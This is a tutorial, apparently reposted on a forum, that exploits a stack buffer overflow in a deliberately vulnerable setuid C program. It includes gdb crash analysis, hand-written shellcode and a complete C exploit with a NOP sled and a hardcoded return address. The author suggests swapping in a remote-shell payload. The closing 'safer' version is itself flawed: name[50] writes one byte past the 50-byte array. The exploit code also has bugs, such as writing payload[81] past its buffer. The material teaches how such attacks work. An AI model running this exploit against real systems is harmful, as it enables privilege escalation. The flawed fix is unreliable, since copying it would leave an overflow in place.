Exploiting x86 Stack Based Buffer Overflows
文章作者：c0ntexThis document shows how to abuse destroyed NULL terminators to an attackers advantage by finding
and controlling functional execution of calls that fail to do any type of safe bounds checking.
This is an old subject but the methods used in this paper are still valid for exploitation of
applications today, this example is based on a real situation I found in mplayer - (05/2004)
First, let us find a bug to try. Copy vuln.c into an empty directory and run the following command:
/*
vuln.c
*/
#include <stdio.h>
#define MAX_SIZE 50
void error(void);
int main(int argc, char **argv);
void
error(void)
{
fprintf(stderr, "An example buffer overflow\n");
exit(1);
}
int
main(int argc, char **argv)
{
char name[MAX_SIZE];
if(argc < 2) {
fprintf(stderr, "Usage: %s name\n", argv[0]);
error();
}
strcpy(name, argv[1]);
printf("Hello %s\n", name);
return 0;
}
[c0ntex@darkside tmp]$ for files in `find . -type f`; do egrep -Hn 'strcpy\('
$files; done
./vuln.c:24: strcpy(name, argv[1]);
[c0ntex@darkside tmp]$
Hey, strcpy is used, I wonder if name, which is the first arguement passed to strcpy is correctly
terminated?? From the man page, strcpy requires that the destination address must be large enough
to hold the string being passed as the second arguement. I wonder what happens if it's not?
STRCPY(3) Linux Programmerâs Manual STRCPY(3)
NAME
strcpy, strncpy â copy a string
SYNOPSIS
#include <string.h>
char *strcpy(char *dest, const char *src);
char *strncpy(char *dest, const char *src, size_t n);
DESCRIPTION
The strcpy() function copies the string pointed to by src (including
the terminating â\0â character) to the array pointed to by dest. The
strings may not overlap, and the destination string dest must be large
enough to receive the copy.
Lets find out and compile it up..
[c0ntex@darkside tmp]$ gcc -o vuln vuln.c
[c0ntex@darkside tmp]$ su - root -c "chmod 4755 vuln"
[c0ntex@darkside tmp]$ ./vuln c0ntex
Hello c0ntex
[c0ntex@darkside tmp]$
Ok, the program work as required. The first arguement passed to vuln is a NULL terminated string
containing my nick, c0ntex, which is then stored in the name[] array. This is correct usage for
what the programmer *believed* to be required. However by abusing the fact that the character array
uses strcpy, we can perhaps be a little more mischevious, overwrite the NULL terminating byte and
cause a stack overflow.
Again, from the strcpy() man page:
"BUGS
If the destination string of a strcpy() is not large enough (that is,
if the programmer was stupid/lazy, and failed to check the size before
copying) then anything might happen. Overflowing fixed length strings
is a favourite cracker technique."
Well, in our example there is 50 bytes to store user input. This is how vuln looks on the stack when
run with a string of less or equal to 49 + 1 NULL characters:
[c0ntex@darkside tmp]$ ./vuln c0ntex
Hello c0ntex
[c0ntex@darkside tmp]$
--------------------
| name[c0ntex]['\0] | v - Grows down
--------------------
| ... ... ... ... |
--------------------
| EBP 0xbffffa88 |
--------------------
| EIP 0x8048470 |
--------------------
And now lets see what happens when more than BUFFSIZE characters are passed, overwriting the NULL
terminating byte. We will try 78 chartacters, it will become clear why soon.
[c0ntex@darkside tmp]$ ./vuln `perl -e 'print "A" x 78'`
Hello
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[c0ntex@darkside tmp]$
------------------
| name[AAAAA | v - Grows down <--------- This is the area where name[AAAAAAAAAAAAA..] is
------------------ stored, since name[] can only hold 49 bytes + 1
| ... ... ... ... | NULL byte safely, passing more data will cause
------------------- undefined behaviour. In this case, it smashes the
| EBP=AAAA | stack, overwriting pointers for EBP and EIP.
------------------
| EIP=XXAA | <----- ( XX=random vaule) CPU tries to execute XXAA and encounters a SIGSEGV.
------------------
Ok, it's all gone wrong here, the code has tried to access memory that it should not have, which has in
turn caused a segmentation fault. Reviewing the problem in gdb:
[c0ntex@darkside tmp]$ gdb -q ./vuln ./core.31817
Core was generated by `./vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x42004141 in _r_debug () from /lib/i686/libc.so.6
(gdb) i r
eax 0x0 0
ecx 0x1 1
edx 0x55 85
ebx 0x4212a2d0 1108517584
esp 0xbffffae0 0xbffffae0
ebp 0x41414141 0x41414141 <----------------- HERE
esi 0x40012020 1073815584
edi 0xbffffb24 -1073743068
eip 0x42004141 0x42004141 <----------------- HERE
eflags 0x10286 66182
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
The CPU tried to execute the instructions at address 0x42004141. This probably means that the input buffer
of AAAA.. has overwritten EIP by 2 bytes. Remember, the buffer was only 50 bytes but we stuffed in 78!! The
CPU has then tried to execute the invalid address and crashed. By adding 2 extra A's, this can be verified:
[c0ntex@darkside tmp]$ ./vuln `perl -e 'print "A" x 80'`
Hello
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[c0ntex@darkside tmp]$ gdb -q ./vuln ./core.31820
Core was generated by `./vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0x1 1
edx 0x57 87
ebx 0x4212a2d0 1108517584
esp 0xbffffae0 0xbffffae0
ebp 0x41414141 0x41414141 <----------------- HERE
esi 0x40012020 1073815584
edi 0xbffffb24 -1073743068
eip 0x41414141 0x41414141 <----------------- Bingo, we have owned it.
eflags 0x10286 66182
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) where
#0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141
(gdb) info frame 0
Stack frame at 0x41414141:
eip = 0x41414141; saved eip Cannot access memory at address 0x41414145
(gdb) b main
(gdb) r
Starting program: /home/iralt0c/vuln `perl -e 'print "A" x 80'`
Breakpoint 1, main (argc=2, argv=0xbfffe754) at vuln.c:22
22 if(argc < 2) {
(gdb) b strcpy
Breakpoint 2 at 0x42079dd4
(gdb) n
27 strcpy(name, argv[1]);
(gdb) x/x argv[1]
0xbffffb07: 0x41414141
(gdb)
0xbffffb0b: 0x41414141
(gdb) # as we can see, 0x41414141 is our user input
Breakpoint 2, 0x42079dd4 in strcpy () from /lib/tls/libc.so.6
(gdb) where
#0 0x42079dd4 in strcpy () from /lib/tls/libc.so.6
#1 0x08048470 in main (argc=2, argv=0xbfffe754) at vuln.c:27
#2 0x42015574 in __libc_start_main () from /lib/tls/libc.so.6
(gdb) list
27 strcpy(name, argv[1]);
28
29 printf("Hello %s\n", name);
30
31 return 0;
32 }
33
34
35
(gdb) n
Single stepping until exit from function strcpy, which has no line number information.
main (argc=0, argv=0xbfffe754) at vuln.c:29
29 printf("Hello %s\n", name);
(gdb) x/30x 0xbffffaf4
0xbffffaf4: 0x6d6f682f 0x72692f65 0x30746c61 0x75762f63
0xbffffb04: 0x41006e6c 0x41414141 0x41414141 0x41414141
0xbffffb14: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb24: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb34: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb44: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb54: 0x00414141 0x5f485353 0x4e454741 0x49505f54
0xbffffb64: 0x38363d44 0x4f480032
(gdb) s
Hello
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
31 return 0;
(gdb) x/50x name-10
0xbffff4b6: 0x003bbfff 0x5a380000 0x41414001 0x41414141
0xbffff4c6: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff4d6: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff4e6: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff4f6: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff506: 0x41414141 0x41414141 0x00004141 0xf5540000
0xbffff516: 0xf560bfff 0x582cbfff 0x00024001 0x83500000
0xbffff526: 0x00000804 0x83710000 0x84260804 0x00020804
0xbffff536: 0xf5540000 0x8490bfff 0x84c00804 0xc6600804
0xbffff546: 0xf54c4000 0x0000bfff 0x00020000 0xfaf40000
0xbffff556: 0xfb07bfff 0x0000bfff 0xfb580000 0xfb6abfff
0xbffff566: 0xfb7bbfff 0xfb86bfff 0xfb96bfff 0xfba4bfff
0xbffff576: 0xfbe0bfff 0xfbf2bfff
(gdb) quit
No NULL bytes!! Lets run vuln correctly and check the difference:
(gdb) r `perl -e 'print "A" x 40'`
... SNIP ...
(gdb) x/50 name-10
0xbffff4b6: 0x003bbfff 0x5a380000 0x41414001 0x41414141
0xbffff4c6: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff4d6: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff4e6: 0xdd004141 0x82edbfff 0x0a140804 0xc6604213
0xbffff4f6: 0xdd384000 0x849abfff 0x0a140804 0x53604213
0xbffff506: 0xdd584001 0x5574bfff 0x00024201 0xdd840000
0xbffff516: 0xdd90bfff 0x582cbfff 0x00024001 0x83500000
0xbffff526: 0x00000804 0x83710000 0x84260804 0x00020804
0xbffff536: 0xdd840000 0x8490bfff 0x84c00804 0xc6600804
0xbffff546: 0xdd7c4000 0x0000bfff 0x00020000 0xfb1c0000
0xbffff556: 0xfb2fbfff 0x0000bfff 0xfb580000 0xfb6abfff
0xbffff566: 0xfb7bbfff 0xfb86bfff 0xfb96bfff 0xfba4bfff
0xbffff576: 0xfbe0bfff 0xfbf2bfff
(gdb)
Run 1: No NULL byte in the 50 byte boundary, overflow occurs.
Run 2: NULL byte in the 50 byte boundary at 0xbffff4e6: 0xdd004141
HERE ---^^
I hope this helps clarify whats happened. The NULL byte has been overwritten and 41414141 has started
writing past the 50 byte boundary, stomping further down the memory slab, modifying the EIP pointer to
execute code at an address we control / supply. Since 0x41414141 is not mapped memory, the program will
crash.
char **argv NULL terminates as default. Since the programmer did not add one when using strcpy, it helps
him out through `chance` on the occasions where a user only supplies < 49 characters as an arguement.
Onward with exploitation.
There is a problem that needs solved, the attacker needs to know where the buffer is in memory, however
this is simple. Lets look back at gdb, all that has to be done is to check offsets from $esp.
(gdb) x/50x 0xbffffae0-100
0xbffffa7c: 0x0804846e 0x080484d0 0xbffffa90 0x00000003
0xbffffa8c: 0x400126e0 0x41414141 0x41414141 0x41414141
0xbffffa9c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffaac: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffabc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffacc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffadc: 0x41414141 0x00000000 0xbffffb24 0xbffffb30
0xbffffaec: 0x400124b8 0x00000002 0x08048350 0x00000000
0xbffffafc: 0x08048371 0x08048410 0x00000002 0xbffffb24
0xbffffb0c: 0x080482d8 0x0804849c 0x4000a950 0xbffffb1c
0xbffffb1c: 0x4001020c 0x00000002 0xbffffc0d 0xbffffc14
0xbffffb2c: 0x00000000 0xbffffc65 0xbffffc77 0xbffffc87
0xbffffb3c: 0xbffffc92 0xbffffca0
(gdb) x/x $esp-70
0xbffffa9a: 0x41414141
It is clear to see where our buffer is, 0x41414141. All that is now required to exploit this is to fill
this buffer with some opcodes and have the address that overwrites EIP pointer, point back into the opcodes.
The address at offset $esp-70 becomes the return address for the exploit.
Lets quickly whip up opcodes to use for the testing, which will be placed in a string on the command line:
[c0ntex@darkside tmp]$ cat > opcode.S << EOF
> .globl _start
> _start:
> xorl %eax, %eax
> xorl %ebx, %ebx
> movb $0x17, %al
> int $0x80
> xorl %eax, %eax
> xorl %ebx, %ebx
> incb %al
> int $0x80
> EOF
[c0ntex@darkside tmp]$ as -o opcode.o opcode.S
[c0ntex@darkside tmp]$ ld -s -o opcode opcode.o
[c0ntex@darkside tmp]$ strace ./opcode
execve("./opcode", ["./opcode"], [/* 29 vars */]) = 0
setuid(0) = -1 EPERM (Operation not permitted)
_exit(0) = ?
[c0ntex@darkside tmp]$ objdump -d ./opcode
opcode: file format elf32-i386
Disassembly of section .text:
08048074 <.text>:
8048074: 31 c0 xor %eax,%eax
8048076: 31 db xor %ebx,%ebx
8048078: b0 17 mov $0x17,%al
804807a: cd 80 int $0x80
804807c: 31 c0 xor %eax,%eax
804807e: 31 db xor %ebx,%ebx
8048080: fe c0 inc %al
8048082: cd 80 int $0x80
[c0ntex@darkside tmp]$
We get 80 bytes to play with, due to the 50 byte buffer for name[] and extra padding that gcc adds. So
the command line arguement we use should look like this:
-> ./vuln `perl -e 'printf "LOL" x 20'` \
-> `printf "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xfe\xc0\xcd\x80"` \
-> `printf "\xa9\xfa\xff\xbf"`
A) Places 60 bytes into the buffer as NOPs (3 x 20)
B) Places shellcode after the NOPS(16 bytes)
C) Places the return address over EIP.
Which will create a buffer for name[] similar to this:
[<----------------------------72 Byte Buffer---------------->][EBP][EIP](+EBP+EIP=80 Bytes)
[ NOPS NOPS NOPS NOPS NOPS NOPS NOPS ] [ SHELLCODE ] [ RET ]
Lets try it out!
[c0ntex@darkside tmp]$ strace ./vuln `perl -e 'printf "LOL" x 20'``printf
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xfe\xc0\xcd\x80"` \
> `printf "\xa9\xfa\xff\xbf"`
execve("./vuln", ["./vuln", "LOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOL1Ã1?????Ã????"],
[/* 21 vars */]) = 0
uname({sys="Linux", node="darkside", ...}) = 0
brk(0) = 0x80495f4
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or
directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=44200, ...}) = 0
old_mmap(NULL, 44200, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40013000
close(3) = 0
open("/lib/i686/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220Y\1"..., 1024) =
1024
fstat64(3, {st_mode=S_IFREG|0755, st_size=1395734, ...}) = 0
old_mmap(0x42000000, 1239844, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
0x42000000
mprotect(0x42126000, 35620, PROT_NONE) = 0
old_mmap(0x42126000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x126000) = 0x42126000
old_mmap(0x4212b000, 15140, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4212b000
close(3) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4001e000
munmap(0x40013000, 44200) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40013000
write(1, "Hello LOLLOLLOLLOLLOLLOLLOLLOLLO"..., 87Hello
LOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOL1Ã1?????Ã????
) = 87
setuid(0) = -1 EPERM (Operation not permitted)
_exit(0) = ?
[c0ntex@darkside tmp]$
Bingo, we made the application execute setuid and exit, that means this application has been forced to
execute code that we can control. Lets now build and test the final exploit for vuln.c:
/*
vuln_exploit.c
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define NOP 0x41
/* Nops, doesn't have to be 0x90 */
#define RETADDR 0xbffff9e8
/* Address to place in EIP, offset from ESP */
#define VULN "./vuln"
/* Vulnerable binary */
#define BUFFER 81
/* Buffer size + 1 NULL byte */
void die(void);
char buildegg(char *payload);
int main(int argc, char **argv);
/* Inform of our functions */
static char opcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x31\xdb\xfe\xc0\xcd\x80";
/* Shellcode. setuid(0), and exit(0) */
void
die(void)
{
fprintf(stderr, "Usage: vuln_exploit.c <offset>\n");
_exit(1);
}
char
buildegg(char *payload)
{
int i;
long retaddr;
char *load = (char *) &opcode;
retaddr = RETADDR;
memset(payload, '\0', sizeof(payload));
for(i = 76; i < BUFFER; i += 4)
*(long *)&payload = retaddr;
/* Fill 4 bytes with return address */
for(i = 0; i < BUFFER - strlen(opcode)-5; i++)
*(payload + i) = NOP;
/* Fill everything under 76 - shellcode size bytes with NOPs */
memcpy(payload + i, load, strlen(load));
/* Copy shellcode after the NOPS */
payload[81] = 0x00;
/* NULL terminate the buffer */
return *payload;
}
int
main(int argc, char **argv)
{
char payload[BUFFER];
if(argc < 2) {
die();
}
fprintf (stdout, "\nLocal exploit for vuln\n");
buildegg(payload);
execl("./vuln", "vuln" , payload, NULL);
return 0;
}
[c0ntex@darkside tmp]$ make vuln_exploit
cc vuln_exploit.c -o vuln_exploit
[c0ntex@darkside tmp]$ ./vuln_exploit 0
Local exploit for vuln
Hello
????????????????????????????????????????????????????????1Ã1?????Ã?????????
[c0ntex@darkside tmp]$
This looks good, we had no segmentation fault, lets take a closer look using strace:
[c0ntex@darkside tmp]$ strace ./vuln_exploit 0
execve("./vuln_exploit", ["./vuln_exploit", "0"], [/* 26 vars */]) = 0
uname({sys="Linux", node="darkside", ...}) = 0
brk(0) = 0x8049800
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or
directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=44200, ...}) = 0
old_mmap(NULL, 44200, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40013000
close(3) = 0
open("/lib/i686/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220Y\1"..., 1024) =
1024
fstat64(3, {st_mode=S_IFREG|0755, st_size=1395734, ...}) = 0
old_mmap(0x42000000, 1239844, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
0x42000000
mprotect(0x42126000, 35620, PROT_NONE) = 0
old_mmap(0x42126000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x126000) = 0x42126000
old_mmap(0x4212b000, 15140, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4212b000
close(3) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4001e000
munmap(0x40013000, 44200) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
..
..
write(1, "Hello \220\220\220\220\220\220\220\220\220\220\220\220"..., 88Hello
????????????????????????????????????????????????????????1Ã1?????Ã?????????
) = 88
setuid(0) = 0
_exit(0) = ?
[c0ntex@darkside tmp]$
There, we have successfully caused vuln to execute setuid() and exit(). We can now change the opcode
and have vuln execute anything we like, perhaps spawning a remote shell, adding a new user accound
and setting a password. There is no real limit to what can be executed, providing you have enough
imagination.
A better version of vuln.c is attached below, which tries to validate data.
/*
not_so_vuln.c
*/
#include <stdio.h>
#include <string.h>
#define MAX_SIZE 50
void error(void);
int main(int argc, char **argv);
void
error(void)
{
fprintf(stderr, "Usage: ./vuln <Your Name>\n");
exit(1);
}
int
main(int argc, char **argv)
{
char name[MAX_SIZE];
char *input;
if(argc < 2) {
error();
}
if((input = argv[1]) == NULL) {
printf("Hmm, name was NULL, try again..\n");
error();
}
if(strlen(input) > MAX_SIZE) {
printf("Name too long, sorry\n");
error();
}
if(strncpy(name, input, MAX_SIZE) == NULL) {
printf("Strncpy error\n");
}
name[50] = 0x00;
printf("Hello %s\n", name);
return 0;
}
EOF
页:
[1]